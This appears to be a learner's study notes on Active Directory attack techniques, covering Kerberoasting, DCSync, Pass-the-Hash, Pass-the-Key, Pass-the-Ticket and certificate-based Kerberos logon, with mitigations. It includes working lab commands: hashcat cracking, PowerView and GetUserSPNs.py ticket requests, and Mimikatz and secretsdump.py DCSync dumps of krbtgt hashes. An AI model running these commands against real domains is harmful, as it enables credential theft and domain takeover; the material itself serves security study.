This is equivalent to a Kerberos TGS‑REP hash (similar in spirit to NetNTLMv2 hashes).


🔄 Step 4 — Offline Brute‑Force / Dictionary Attack

Using hashcat:


hashcat -m 13100 kerberoast_hashes.txt wordlist.txt

If the service account has a weak password like:


Summer2023!

You crack it.

Why offline cracking helps:

  • No lockouts

  • No detection from AD

  • Unlimited cracking speed

  • Service accounts often have non‑rotating passwords

  • Usually privileged


Finally — What You Gain

Once cracked, you get:

✔ Service account NTLM hash

✔ Service account plaintext password

✔ Often high privileges (SQL, backup, domain join, sometimes domain admin)

This now allows:

  • SMB login

  • WinRM/RDP

  • SQL admin

  • Lateral movement

  • Privilege escalation


Short Interview‑Ready Answer

Kerberoasting abuses a design flaw in Kerberos where TGS service tickets are encrypted using the service account’s NTLM hash.

A normal domain user can request TGS tickets for any SPN, extract the encrypted part, and offline-bruteforce it to recover the service account password. The attack works because the encryption uses the password hash, service accounts often have weak passwords, and ticket cracking happens offline without detection.

Example

Step 1 – User logs in


alice enters username + password

Kerberos derives UserKey = KDF(alice_password)

The KDC also knows Alice’s password (stored as derived keys).


Step 2 – User gets a TGT


KDC encrypts TGT using UserKey

alice decrypts TGT using UserKey

Now Alice has a TGT.


Step 3 – User requests TGS for a service


alice (with TGT) → KDC: request TGS for MSSQLSvc/DB01

Step 4 – KDC builds the service ticket

The KDC constructs:


Service Ticket:

  Client = alice@corp.local

  Service = MSSQLSvc/DB01

  SessionKey = K_session

  Validity = 10:00–20:00

Step 5 – KDC encrypts the TGS with the service account’s key


ServiceKey = KDF(sqlsvc_password)

EncryptedTGS = Encrypt(ServiceTicket, ServiceKey)

This encrypted blob is what attackers extract for Kerberoasting.


Step 6 – Service verifies the ticket


SQL Service derives ServiceKey from sqlsvc_password

Decrypt(EncryptedTGS, ServiceKey)

✔ Success → ticket valid

✘ Fail → reject

3️⃣ What Attackers Actually Steal

Attackers do not steal a raw hash.

They steal:

🔐 The encrypted service ticket

(which is protected by the service account’s password-derived key)

This encrypted blob is what gets cracked offline.


4️⃣ How Hashcat Cracks Kerberoast (Conceptual Example)

Offline cracking tools (like hashcat) don’t “reverse the encryption.”

They do password guessing + verification.

Here’s the logic:

Attacker already has:


EncryptedTGS = Encrypt(ServiceTicket, KDF(sqlsvc_password))

Hashcat tries guesses:


Guess1 = "Password123"

Key1 = KDF("Password123")

Try decrypt EncryptedTGS with Key1

→ Decryption fails

Guess2 = "Summer2024!"

Key2 = KDF("Summer2024!")

Try decrypt EncryptedTGS with Key2

→ Decryption succeeds

→ Password found

How does hashcat know it “succeeded”?

Because Kerberos tickets have a known internal structure and checksum.

If the decrypted data matches the expected format, the guess is correct.


5️⃣ Full Mental Model (One Flow)


User password → UserKey

Service password → ServiceKey

TGT encrypted with UserKey

TGS encrypted with ServiceKey

Attacker extracts encrypted TGS

Attacker guesses passwords → derives keys → tries decrypt

Correct password = successful decryption

How Tool Extracts Hash from TGS

2️⃣ What do tools like GetSPNUsers actually extract?

Tools (e.g., GetSPNUsers / similar Kerberoasting collectors) don’t “steal the password.”

They:

  • Ask the KDC for a TGS for a service

  • Receive a service ticket

  • Extract the encrypted portion of that ticket

  • Convert it into a format that offline crackers understand

So yes — they extract the encrypted blob derived from the service account’s secret.

Important nuance:

You are cracking the Kerberos ticket encryption, not a raw NTLM hash dump.


3️⃣ What are $23 and $18? (Hash Types Explained)

These $23 and $18 are hash formats used by offline cracking tools to identify Kerberos encryption types.

🔐 $23 – Kerberos RC4-HMAC (NTLM-based key)

  • Older / legacy encryption

  • Key derived from the NTLM hash of the service account password

  • Very crackable if the password is weak

  • Common in older domains or when RC4 is allowed

Mental model:

$23 = Kerberos ticket encrypted using NTLM-based RC4 key

This is why $23 Kerberoasting is often very fast to crack.


🔐 $18 – Kerberos AES256-CTS-HMAC-SHA1

  • Modern Kerberos encryption

  • Stronger crypto

  • Still crackable offline, but much slower

  • Common in newer domains with AES enabled

Mental model:

$18 = Kerberos ticket encrypted using AES-256 derived from the service account password

So $18 is harder to crack, but still vulnerable if the password is weak.


4️⃣ How do we know if it’s $23 or $18?

The encryption type is chosen by the KDC based on:

  • Domain functional level

  • Kerberos policies

  • What encryption types the service account supports

  • What the client requests

When attackers request a TGS, the returned ticket is in a specific encryption type.

The Kerberoasting tool then formats it like:


$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/DB01:1433*$HEXDATA...

or


$krb5tgs$18$*svc_sql$CORP.LOCAL$MSSQLSvc/DB01:1433*$HEXDATA...

The $23 or $18 tells the cracker which Kerberos crypto was used.

So:

  • $23 → RC4-HMAC Kerberos ticket

  • $18 → AES256 Kerberos ticket

How Kdc Encrypts TGS & How Attacks Exploits

2️⃣ Step-by-Step: How KDC Issues the TGS (Service Ticket)

Step 2.1 – Client has a TGT


alice → KDC: login

KDC → alice: TGT

TGT proves Alice is authenticated.


Step 2.2 – Client requests TGS for the service

Alice asks:

“Give me a service ticket for MSSQLSvc/DB01.corp.local:1433”


alice (with TGT) → KDC: TGS request for MSSQLSvc/DB01

Step 2.3 – KDC builds the TGS (what’s inside)

The service ticket (TGS) contains:

  • Client identity: alice@corp.local

  • Service identity: MSSQLSvc/DB01.corp.local:1433

  • Timestamp + validity window

  • Session key (for client ↔︎ service communication)

  • Flags (forwardable, renewable, etc.)

Think of it like:


{

  Client: alice@corp.local

  Service: MSSQLSvc/DB01.corp.local:1433

  ValidFrom: 10:00

  ValidUntil: 20:00

  SessionKey: K_session

}

Step 2.4 – KDC encrypts the TGS with the service account secret

This whole structure is encrypted using:

🔐 The Kerberos key derived from CORP’s password


Encrypt(TGS, KerberosKey(sqlsvc_password))

So only the **real SQL service running as CORP* can decrypt it.

Then the KDC sends this encrypted blob back to Alice:


KDC → alice: Encrypted TGS (service ticket)

3️⃣ How the Service Verifies the TGS

Now Alice connects to SQL Server:


alice → SQL Service: TGS

The SQL service:

  1. Takes the encrypted TGS

  2. Derives its own Kerberos key from its password

  3. Tries to decrypt the TGS

  4. If decryption succeeds:

    • Ticket is valid
    • Alice is authenticated
  5. If decryption fails:

    • Ticket is rejected

Decrypt(TGS, KerberosKey(sqlsvc_password))

✔ success → accept user

✘ fail → reject user

This is exactly why Kerberoasting works.

Mitigation

🔐 Core Mitigations (Most Effective First)

✅ 1️⃣ Use gMSA for services (kills Kerberoasting in practice)

Group Managed Service Accounts (gMSA) use:

  • Long, random, auto-rotated passwords

  • Not known by humans

  • Not reused

Result:

Even if attackers Kerberoast the ticket, offline cracking becomes unrealistic.

👉 This is the single best mitigation.


✅ 2️⃣ Enforce long, random passwords on service accounts

If you must use classic service accounts:

Minimum guidance:

  • 30+ characters

  • Random (not dictionary-based)

  • No reuse across services

  • Rotate periodically

Kerberoasting dies on strong entropy.


✅ 3️⃣ Reduce service account privileges

Service accounts should:

  • NOT be Domain Admins

  • NOT be local admin everywhere

  • Only have the minimum rights needed

So even if cracked, blast radius is small.


✅ 4️⃣ Remove unnecessary SPNs

Audit SPNs:

  • Remove stale / unused SPNs

  • Remove SPNs tied to old services

  • Ensure SPNs belong to the correct account

Fewer SPNs = fewer roastable targets.


✅ 5️⃣ Prefer modern Kerberos crypto (Disable RC4 where possible)

Legacy RC4 (Kerberoasting $23) cracks fast.

Harden Kerberos:

  • Prefer AES128 / AES256

  • Disable RC4 where compatibility allows

  • Raise domain functional level if possible

This doesn’t prevent Kerberoasting, but it massively increases crack time.

PoC

Windows

Step 1 - login to rdp

xfreerdp /u:htb-student /p:‘Academy_student_AD!’ /v:10.129.234.199 /cert-ignore /bpp:8 /network:modem /compression -themes -wallpaper /clipboard /audio-mode:1 /auto-reconnect -glyph-cache /dynamic-resolution

Step 2 - run setspn to get all the spn account

setspn.exe -Q /

Step 3 - Loads the .NET assembly needed for Kerberos classes

Add-Type -AssemblyName System.IdentityModel

Step 4 - Triggers a TGS request for the given SPN using your current TGT

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “ vmware/inlanefreight.local”

Step 5 - import powerview module

Import-Module ..ps1

Step 6 - get the samaccountname of all the spn

Get-DomainUser * -spn | select samaccountname

Step 7 - Get the tsg of service account in hashcat format

Get-DomainUser -Identity svc_vmwaresso | Get-DomainSPNTicket -Format Hashcat

Step 8 - crack it using hashcat

Linux

Step 1 - login using ssh

Step 2 - list all the service principal names ( SPN )

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend

Klmcargo2

Step 3 - request TSG for SAPService

GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user SAPService

Step 4 - save it on a file and crack it using hascat

hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

DCSync

DCSync transfers the password hashes from the Domain Controller to you through legitimate AD replication APIs, because the attacker account has replication permissions.

1. What is DCSync?

DCSync is an attack technique where an attacker pretends to be a Domain Controller and requests user password data (NTLM hashes, Kerberos keys) through AD replication APIs.

It abuses the DSGetNCChanges function inside the Microsoft Directory Replication Service (DRS) Remote Protocol.

Key idea:

AD will replicate secrets to any security principal (user/computer) that has replication permissions.


2. What exactly does DCSync retrieve?

DCSync can pull:

  • NTLM Hash (for NTLM auth)

  • Kerberos AES128/AES256 keys

  • Kerberos RC4 key

  • LM Hash (if stored)

  • Password Last Set

  • SID, UPN, etc.

This allows:

  • Pass-the-Hash

  • Pass-the-Ticket

  • Golden Ticket creation

  • Skeleton Key attack

  • User impersonation


3. Do you need Domain Admin credentials?

NO — Domain Admin is not required.

Domain Admins have the permissions by default, but any user/computer with replication rights can perform DCSync.

DCSync requires the following ACL rights:

✔ Required Active Directory Rights

A user must have these 3 permissions on the Domain root object:

  1. DS-Replication-Get-Changes

  2. DS-Replication-Get-Changes-All

  3. DS-Replication-Get-Changes-In-Filtered-Set (for 2016+)

These permissions are delegated through Access Control Entries (ACEs) on the domain object in AD.

🧠 Why These Permissions Work

In Active Directory, Domain Controllers replicate data between each other.

Normally this happens like:

🖥️ DC2 → asks DC1

“Give me updated directory data”

DC1 responds with:

📦 User objects

📦 Password hashes

📦 Kerberos keys

The DCSync attack abuses this exact mechanism.

Instead of being a DC:

👤 Attacker

pretends to be a replication partner.


🔥 4. So who has these permissions by default?

User/Group | Has Replication Rights? |
— | — |
Domain Admins | ✅ Yes |
Enterprise Admins | ✅ Yes |
Administrators | ✅ Yes |
Domain Controllers (machine accounts) | ✅ Yes |
Read-Only Domain Controllers (RODC) | ❌ Not full replication of secrets |
Any user with delegated replication rights | ⚠️ Yes (if misconfigured) |

🔥 5. How Misconfigurations Enable DCSync

DCSync becomes dangerous when:

  • Administrators mistakenly grant “Replicating Directory Changes” to normal users.

  • Privilege escalation attacks (Kerberoasting, ACL abuse, RBCD) give the attacker an account/machine with replication rights.

  • ‘Backup Operators’ group gets abused (it does NOT directly give replication rights, but often delegated incorrectly).


6. DCSync Attack Flow (Clear, Practical)

⭐ Step-by-step:

Step 1: Get credentials of a user with replication rights

This can be:

  • Domain Admin creds

  • Compromised DC machine account (Computer$)

  • Any delegated user

  • PrivEsc to a group with these rights

Step 2: Run DCSync

Mimikatz


mimikatz.exe

lsadump::dcsync /user:Administrator

Alternatively:


lsadump::dcsync /domain:corp.local /user:krbtgt

Impacket-secretsdump (Linux)


secretsdump.py domain/user:password@dc-ip

To pull only a specific user:


secretsdump.py -just-dc-user administrator domain/user:pass@dc-ip

To pull KRBTGT key:


secretsdump.py -just-dc-user krbtgt domain/user:pass@dc-ip

⚠️ 7. IMPORTANT — You do NOT need local admin on domain controllers

Local admin on a single workstation does NOT give replication rights.

You need:

  • Domain-level privileges

    or

  • Specific ACL permissions

Local Admin → Priv esc does NOT equal DCSync.


🔥 8. How to Check if a User Has These Permissions

Using PowerView:


Get-ObjectAcl -DistinguishedName "DC=corp,DC=local" -ResolveGUIDs |

    ? {$_.ActiveDirectoryRights -match "Replicate"}

To check a specific user:


Get-ObjectAcl -DistinguishedName "DC=corp,DC=local" -ResolveGUIDs |

    ? {$_.IdentityReference -match "username"}

This will show if the user has:

  • Replicating Directory Changes

  • Replicating Directory Changes All

  • Replicating Directory Changes Filtered Set


🔥 9. How Attackers Gain Replication Rights

Without DA creds, attackers often escalate to replication rights by abusing:

  1. ACL abuse (GenericWrite, GenericAll, WriteDACL)

Give themselves replication privileges.

  1. Resource Based Constrained Delegation (RBCD)

Compromising a computer account → impersonate DA → DCSync.

  1. Compromising a domain controller computer account

Ex: DC01$ credentials allow full DCSync.

  1. Kerberoasting + Password reuse

Crack a service account → it has replication rights (rare but misconfigured).

Pass The Hash

NTML / NTMLV2

NT hash

Definition

The NT hash is the cryptographic representation of a Windows password.


NT hash = MD4( UTF-16LE(password) )

Key property

The NT hash itself is treated as the authentication secret by Windows.


NTLM

Definition

NTLM (NT LAN Manager) is a challenge–response authentication protocol used by Windows when Kerberos is unavailable.

Purpose

  • Prove knowledge of a password without sending it

NTLMv1

Definition

NTLMv1 is the legacy implementation of NTLM using DES-based responses.

Status

  • Weak

  • Deprecated

  • Still seen on very old systems

NTLMv2

Definition

NTLMv2 is the modern NTLM authentication algorithm that:

  • Adds timestamps

  • Adds client challenge

  • Uses HMAC-MD5

  • Prevents replay attacks

Important

NTLMv2 still depends on the NT hash

Pass-the-Hash (PtH)

Definition

Pass-the-Hash is an attack where authentication is performed using the NT hash directly, without knowing the plaintext password.


2. When NTLM vs Kerberos is used

Scenario | Auth used |
— | — |
Domain login | Kerberos (default) |
Local account login | NTLM |
Cross-domain without trust | NTLM |
IP address access | NTLM |
Legacy services | NTLM |
SMB without SPN | NTLM |

➡️ NTLM is the fallback

➡️ Fallback = attack surface


3. What happens when a user types a password (very important)

Let’s say user Alice logs in.


Step 1: Password processing (local system)


User types password → Windows does NOT store plaintext

Instead:


Password → UTF-16LE → MD4 → NT hash

Example:


Password: P@ssw0rd

NT hash : 8846f7eaee8fb117ad06bdd830b7586c

Step 2: Where the NT hash goes

Location | Why |
— | — |
LSASS memory | Authentication |
SAM / NTDS.dit | Persistence |
Cached creds | Offline login |

Plaintext password is discarded

4. NTLM authentication – high level flow

NTLM proves: “I know the NT hash”

General NTLM flow (common to v1 and v2)

  1. Client says: “I want to authenticate”

  2. Server sends random challenge

  3. Client computes response using NT hash

  4. Server recomputes and compares

5. NTLMv1 – how it works

Logic


Response = DES( NT_hash, ServerChallenge )

Properties

  • No timestamp

  • No client challenge

  • Replay possible

  • Weak crypto

Security level

❌ Broken

❌ Replayable

❌ Easily crackable


6. NTLMv2 – how it works (proper logic)

NTLMv2 does NOT replace the NT hash

It wraps it with more data


Step-by-step NTLMv2 logic

Step 1 – NTLMv2 hash creation


NTLMv2_hash =

   HMAC-MD5(

      NT_hash,

      Username + Domain

   )

Step 2 – Client builds a blob

The blob contains:

  • Timestamp

  • Client challenge

  • Target info

Step 3 – Final response


NTLMv2_Response =

   HMAC-MD5(

      NTLMv2_hash,

      ServerChallenge + Blob

   )

Step 4 – Server validation

Server:

  • Retrieves NT hash

  • Rebuilds NTLMv2_hash

  • Verifies response

✔️ Auth success

7. Why NTLMv2 exists (design goal)

Threat | NTLMv1 | NTLMv2 |
— | — | — |
Replay attack | ❌ | ✅ |
MITM resistance | ❌ | Partial |
Weak crypto | ❌ | Improved |

⚠️ Goal was transport security, NOT hash secrecy


8. Where Pass-the-Hash fits (key concept)

Important truth

NTLMv2 still trusts the NT hash as the root secret.

So if attacker has:


NT hash + Username + Domain

They can:

  • Generate NTLMv2 responses

  • Authenticate successfully

➡️ No password required

Pass The Hash

Definition (core)

Pass-the-Hash (PtH) is an authentication abuse technique where:

An attacker authenticates as a user by supplying the NT password hash directly, instead of the user’s plaintext password.

Key point:

  • The hash is not cracked

  • The hash is not replayed

  • The hash is used as the credential

2. Why Pass-the-Hash Exists (root cause)

Windows design assumption

Windows assumes:

“If you can prove knowledge of the NT hash, you must know the password.”

Therefore:

  • NT hash = proof of identity

  • Password is only a derivation source

This assumption is what PtH abuses.


3. Where PtH sits in the authentication chain


Password ──► NT hash ──► NTLM / NTLMv2 response ──► Authentication

PtH attacks this level:


        ┌──────────────┐

Attacker│ NT hash only │

        └──────────────┘

The password is skipped entirely.

4. Preconditions for Pass-the-Hash

PtH is not magic. These conditions must be true:

Required

  • NTLM authentication is allowed

  • Attacker has the NT hash

  • Target accepts NTLM (local account, fallback, legacy)

Not required

  • Plaintext password ❌

  • Password cracking ❌

  • User interaction ❌


5. Where the NT hash used in PtH comes from

Common sources

Source | How |
— | — |
LSASS memory | Logged-in users |
SAM | Local accounts |
NTDS.dit | Domain accounts |
Cached creds | Offline logons |

👉 PtH always starts after credential access


6. Pass-the-Hash vs normal login (key contrast)

Normal login

  1. User types password

  2. System computes NT hash

  3. NT hash used internally

Pass-the-Hash login

  1. Attacker already has NT hash

  2. NT hash injected directly

  3. Password never exists

➡️ Authentication logic is identical after step 2

7. How PtH actually works (internal logic)

Let’s formalize it.

What the server checks

The server never checks the password.

It only checks:


“Does the response match what I get using the stored NT hash?”

Attacker advantage

If attacker has the NT hash:

  • They can compute any valid NTLM or NTLMv2 response

  • The server sees no difference


8. Pass-the-Hash with NTLMv1 vs NTLMv2

Important clarification

Question | Answer |
— | — |
Does PtH use NTLMv1? | Yes |
Does PtH work with NTLMv2? | Yes |
Does NTLMv2 stop PtH? | No |

Why?

Because both protocols ultimately rely on the NT hash.

NTLMv2 improves:

  • Replay resistance

  • Message integrity

But does not protect the NT hash itself.


9. Example: PtH logic using NTLMv2 (conceptual)

Attacker has:


Username: Admin

Domain: CORP

NT hash: 8846f7eaee8fb117ad06bdd830b7586c

NTLMv2 process (unchanged)


NTLMv2_hash = HMAC-MD5(

    NT_hash,

    Username + Domain

)

The attacker can compute this perfectly, because:

  • NT hash is the only secret required

✔️ Authentication succeeds

❌ Password never known

OverPass-the-Hash (Pass-the-Key precursor)

This is where confusion usually starts.

🔹 What It Is

Using an NT hash to obtain a Kerberos TGT

You are converting NTLM material into Kerberos authentication.


🔹 Why It Exists

Kerberos still supports:

  • RC4-HMAC

  • Which uses the NT hash as the Kerberos key

So:


NThash == Kerberos RC4 key

🔹 Where It Lives in the Flow

Authentication phase.


NThash → AS-REQ

KDC verifies → issues TGT

This is a real login, not reuse.


🔹 Key Difference vs PtH

Aspect | PtH | OverPass-the-Hash |
— | — | — |
Protocol | NTLM | Kerberos |
Material | NT hash | NT hash / AES / RC4 |
Output | NTLM session | Kerberos TGT |
Modern viability | ❌ declining | ✅ still common |

🔹 Why It’s Called “OverPass”

You:

  • Start with NTLM material

  • “Jump over” NTLM

  • End in Kerberos


🔹 Limitations

  • Requires RC4 enabled

  • AES-only domains break this

  • Password change invalidates hash


🔑 One-line truth

OverPass-the-Hash = NT hash → Kerberos TGT

Pass-the-Key (PtK)

🔹 What It Is

Using Kerberos long-term keys (AES/RC4) directly to authenticate

No NTLM involved at all.


🔹 What Keys Are Used

  • AES256 key

  • AES128 key

  • RC4 key (NT hash)

Stored in:

  • NTDS.dit

  • LSASS

  • DCSync output


🔹 Where It Lives in the Flow

Authentication phase (Kerberos-native)


Kerberoskey → AS-REQ

KDC verifies → TGT issued

🔹 Why It’s Stronger Than OverPass-the-Hash

Aspect | OverPass | Pass-the-Key |
— | — | — |
Uses NT hash | Yes | Optional |
Supports AES | ❌ | ✅ |
Modern AD safe | ❌ | ✅ |
Future-proof | ❌ | ✅ |

🔹 Why Blue Teams Fear PtK

  • AES keys don’t “look suspicious”

  • Harder to distinguish from real logons

  • NTLM can be fully disabled and this still works


🔑 One-line truth

Pass-the-Key = Kerberos-native authentication using long-term keys

Difference Between Them

🔑 Short, Precise Answer First

Only Kerberos-based techniques result in a TGT.

Pass-the-Hash (classic) does NOT get a TGT.

OverPass-the-Hash and Pass-the-Key do get a TGT, but via different secrets and checks.

Now let’s lock this down cleanly.


1️⃣ Pass-the-Hash (PtH) — NO TGT

What it actually does

  • Uses NT hash

  • Authenticates via NTLM

  • Talks directly to the target service

  • KDC is never involved

Flow


Client → NTLM challenge

NT hash → response

Target validates → session created

Key point

  • Kerberos not used

  • No TGT

  • Works only where NTLM is allowed

✔ Lateral movement

❌ Kerberos tickets


2️⃣ OverPass-the-Hash (OPtH) — YES, TGT

What it really is

Using an NT hash as a Kerberos RC4 key

Why this works:

  • RC4-HMAC Kerberos key = NT hash

Flow


NThash → AS-REQ (RC4)

KDC verifies → issues TGT

Important nuance

  • NT hash is not used for NTLM here

  • It is used as a Kerberos secret

✔ Gets a TGT

✔ Uses KDC

❌ Breaks if RC4 is disabled


3️⃣ Pass-the-Key (PtK) — YES, TGT

What it is

Kerberos-native authentication using long-term keys

Keys used:

  • AES256

  • AES128

  • RC4 (optional)

Flow


Kerberoskey →AS-REQ (AES/RC4)

KDC verifies → issues TGT

Why it matters

  • Works even if NTLM is disabled

  • Works in modern AD environments

✔ Gets a TGT

✔ Modern

✔ Stealthier


Goal → Kerberos access → TGT

But security enforcement happens at the start, not the end.

What matters is:

What secret is being validated, and by whom


5️⃣ Exact Difference in One Table (This Ends the Confusion)

Technique | Uses | Talks To | Protocol | Gets TGT |
— | — | — | — | — |
Pass-the-Hash | NT hash | Target service | NTLM | ❌ No |
OverPass-the-Hash | NT hash | KDC | Kerberos (RC4) | ✅ Yes |
Pass-the-Key | Kerberos key | KDC | Kerberos (AES/RC4) | ✅ Yes |
Pass-the-Ticket | Ticket | Target service | Kerberos | ❌ (already has) |

6️⃣ The One Sentence That Fixes Everything

Pass-the-Hash skips Kerberos entirely, OverPass-the-Hash converts an NT hash into a Kerberos key, and Pass-the-Key uses Kerberos keys directly — only the last two actually obtain a TGT.


🧠 Final Mental Model (Memorize This)


Hash ≠ Key ≠ Ticket

NT hash → NTLM session        (PtH)

NT hash → Kerberos key → TGT  (OPtH)

Kerberos key → TGT            (PtK)

Ticket reuse                  (PtT)

Pass The Ticket

Understanding The Core Concept

1️⃣ Pass-the-Ticket (PtT)

🔹 What It Is

Reusing a valid Kerberos ticket (TGT or TGS) without knowing the password or hash

You are not authenticating again — you are presenting an already issued identity.

🔹 What Material Is Used

Kerberos tickets

  • TGT (Ticket Granting Ticket)

  • or TGS (Service ticket)

Stored in:

  • LSASS memory

  • Kerberos cache

🔹 Where It Lives in the Flow

Authorization phase, not authentication.


Ticket already issued

→ Present ticket

→Server validates signature

→ PAC →access token

No password check

No hash check

No KDC interaction (for TGS reuse)

🔹 Why It Works

Kerberos trusts:

  • Ticket signature

  • Ticket lifetime

  • Ticket PAC contents

If valid:


“I don’t care how you got it”

🔹 What You Can Do With PtT

Ticket Type | Result |
— | — |
TGT | Request any TGS |
TGS | Access specific service |
Golden Ticket | Full domain |
Silver Ticket | Specific service |

🔹 Limitations

  • Ticket expires

  • KRBTGT reset invalidates TGTs

  • Service account reset invalidates TGSs

  • Tied to domain trust boundaries


🔑 One-line truth

Pass-the-Ticket = reuse identity, skip authentication entirely

Pass The Certificate

https://specterops.io/blog/2021/06/17/certified-pre-owned/

Understanding The Basic Terms

✅ What is AD CS (Active Directory Certificate Services)?

Active Directory Certificate Services (AD CS) is a Windows Server role for issuing and managing public key infrastructure (PKI) certificates used in secure communication and authentication protocols.

AD CS is a Windows Server feature that helps a company create and manage digital certificates. These certificates are like digital ID cards for users, computers, or services.

AD CS is used to:

  • Prove someone’s identity (authentication)

  • Secure communication (encryption)

  • Digitally sign files, emails, or code (signing)


🧰 How AD CS Helps in an Organization

AD CS enables:

  • Authentication using certificates instead of passwords.

  • Secure email, using S/MIME.

  • Document and code signing to verify integrity and origin.

  • SSL/TLS encryption for web servers.

  • Smart card logon for users.

  • VPN and Wi-Fi access with certificate-based authentication.

  • Secure communication between clients, services, and servers.


🏢 What is a CA (Certificate Authority)?

A Certificate Authority (CA) is the main part of AD CS.

Think of it like a passport office in your organization.

  • You go to the CA (certificate office),

  • Show who you are (username, computer name, etc.),

  • If trusted, it issues you a digital certificate.

That certificate says:

“This user or computer is real and trusted. Signed — your CA.”

So, the CA is the trusted center that gives out (issues) certificates to people or machines.


🔐 Public Key Infrastructure (PKI) – The Foundation

PKI is the framework of policies, hardware, software, and standards needed to manage public/private key pairs and digital certificates.

PKI uses:

  • Public keys for encryption and signature verification.

  • Private keys (kept secret) for decryption and signing.

  • A Certificate Authority (CA) to bind public keys to identities via certificates.

🔐 Public Key Infrastructure (PKI) – The Foundation

PKI is the framework of policies, hardware, software, and standards needed to manage public/private key pairs and digital certificates.

PKI uses:

  • Public keys for encryption and signature verification.

  • Private keys (kept secret) for decryption and signing.

  • A Certificate Authority (CA) to bind public keys to identities via certificates.


🧱 Key Components of AD CS and PKI

✳️ Key Components:

  • Certification Authority (CA): The server role (Enterprise CA) that issues and signs certificates.

  • Certificate: A digital identity for a user or computer, containing the public key and metadata (subject, EKUs, etc.).

  • CSR (Certificate Signing Request): A request generated by a client, containing the public key and identity info, sent to the CA for certificate issuance.

  • Certificate Template: Predefined settings that define what a certificate will be used for, who can enroll, required approvals, etc.

  • EKU OIDs (Extended Key Usages): Define the purpose of a certificate (e.g., Smart Card Logon, Client Authentication, Code Signing).

🧾 What is a CA Certificate?

The CA certificate is:

  • A special certificate that belongs to the CA itself. It proves that the CA is trusted.

  • Other computers trust this CA certificate so they will trust all certificates issued by it.

  • The CA’s certificate includes its public key and identity, and it is trusted by the entire domain (or forest).

  • Certificates issued by this CA can then be used to prove identity, encrypt communications, or sign data.

In an Active Directory (AD) environment, the AD Certificate Services (AD CS) role allows you to deploy your own enterprise CA, issuing certificates to users and devices.

📌 Example:

If your organization has a CA named Corp-CA, then every user or device that trusts the Corp-CA certificate will also trust any certificate issued by it — like certificates given to users for login, or to websites for HTTPS.


🛠️ Who issues certificates?

The CA issues certificates to:

  • Users – for smart card or certificate-based logon

  • Computers – to prove their identity to the network

  • Web Servers – for secure HTTPS

  • Apps – for code signing or secure communication

It uses certificate templates to define how the certificate should be built, like:

  • What the certificate can be used for (login, email, etc.)

  • How long it is valid

  • Who is allowed to request it

🔐 Concept: How a Certificate is Issued and Used for Authentication

🔢 Certificate Enrollment Process (Steps 1–5)

1. Client Generates Public/Private Key Pair

  • The user’s machine (or the user themself) generates a key pair.

  • The private key stays local (e.g., in TPM or certificate store).

  • The public key will be embedded in a certificate request (CSR).


2. Client Sends Certificate Signing Request (CSR) to Enterprise CA

  • The CSR includes:
    • The user/computer’s identity (Subject: CORP\user)
    • Requested certificate template (e.g., “CodeSign”)
    • Public Key
    • EKUs (like Code Signing, Client Authentication, Smart Card Logon, etc.)

3. Enterprise CA Validates Request

The CA checks:

  • Does the template exist?

  • Does the template allow the requested EKUs (via OID)?

  • Is the user authorized to enroll using this template?

  • Does the request require manual approval?


4. CA Signs and Issues the Certificate

  • If valid, the CA issues a certificate by:
    • Binding the public key to the user’s identity.
    • Signing it with the CA’s private key (proving trust).
    • The certificate now includes: Subject, Public Key, EKUs, CA Signature.
  • Note:- If you compromise CA then you can decrypt all the certificated sign by it.

5. Certificate Installed on Client

  • The client stores the issued certificate in the Windows Certificate Store.

  • The user can now use the certificate for actions like:

    • Logging in (if EKU = Smart Card Logon / Client Auth)
    • Signing code/documents (if EKU = Code Signing)
    • TLS client authentication, Wi-Fi/EAP-TLS, VPN

🔁 Example Scenario:

Let’s say you want to log in to your office computer without typing your password:

  1. You request a certificate from the CA (using your username).

  2. The CA checks your identity (through Active Directory).

  3. If allowed, it gives you a certificate.

  4. That certificate is stored on your computer or smart card.

  5. When you log in, your computer shows the certificate to the server.

  6. The server trusts the certificate because it was signed by the CA.

  7. You’re logged in — securely — without needing a password.

🔐 How This Certificate is Used in Kerberos Authentication

Now that the user has a certificate (e.g., with Client Authentication or Smart Card Logon EKU), it can be used during logon via PKINIT.


🔁 Certificate-Based Kerberos Logon Flow (PKINIT)

  1. The user logs in using their certificate (e.g., smart card, TPM).

  2. The system sends an AS-REQ to the KDC (Domain Controller).

    • Instead of password pre-auth (timestamp encrypted with NT hash),
    • It uses the certificate + digital signature (proof of possession of private key).
  3. The KDC:

    • Checks if the certificate is valid and trusted (i.e., issued by an AD CS CA).
    • Checks the EKU (Smart Card Logon or Client Auth).
    • If all is valid, issues a TGT (Ticket Granting Ticket).
  4. From there, the normal Kerberos process resumes:

    • The user can now request TGS tickets for services (e.g., CIFS, HTTP, etc.)

    TGT → TGS (Service Ticket) → Access to services

Same Kerberos flow, but different way to prove identity.


🧠 Important Notes

  • Certificates don’t replace TGTs — they only replace how you prove your identity in the initial AS-REQ.

  • The rest of the Kerberos flow (TGT ➝ TGS ➝ service) remains unchanged.

  • This is typically used in Smart Card Logon, EAP-TLS Wi-Fi, or VPN auth scenarios.

  • The cert must have the correct EKUs (e.g., Smart Card Logon, Client Authentication).


🔐 Kerberos Authentication – Traditional vs. Certificate-Based

Aspect | Traditional Kerberos | Certificate-Based Kerberos (PKINIT) |
— | — | — |
Identity Proof | User provides username + password | User provides certificate + digital signature |
Key Used | Derived from password (NT hash) | Private key corresponding to issued certificate |
Pre-authentication | Timestamp encrypted with password hash | Certificate-based signature in AS-REQ |
Protocol Extension | Native Kerberos | PKINIT (Public Key Cryptography for Initial Authentication in Kerberos) |
Credentials Issued | TGT (Ticket Granting Ticket) | TGT (same, but identity proven via cert) |
Usable EKU | Not applicable | Must include Smart Card Logon or Client Authentication |

🎯 Real-World Scenario: Certificate-Based Logon Across Forests

Situation:

An organization has two Active Directory forests:

  • Forest A (CORP.LOCAL) – user’s home forest

  • Forest B (SERVICES.LOCAL) – resources (e.g., file server) reside here

These forests have a cross-forest trust (two-way forest trust), and both forests have Enterprise CAs via AD CS.


✅ Scenario Steps (End-to-End):

  1. 🔐 User Logon with Certificate (in CORP.LOCAL)
    • The user logs in using a smart card or certificate (issued by the CORP.LOCAL CA).
    • The client sends a PKINIT-based AS-REQ to its local DC.
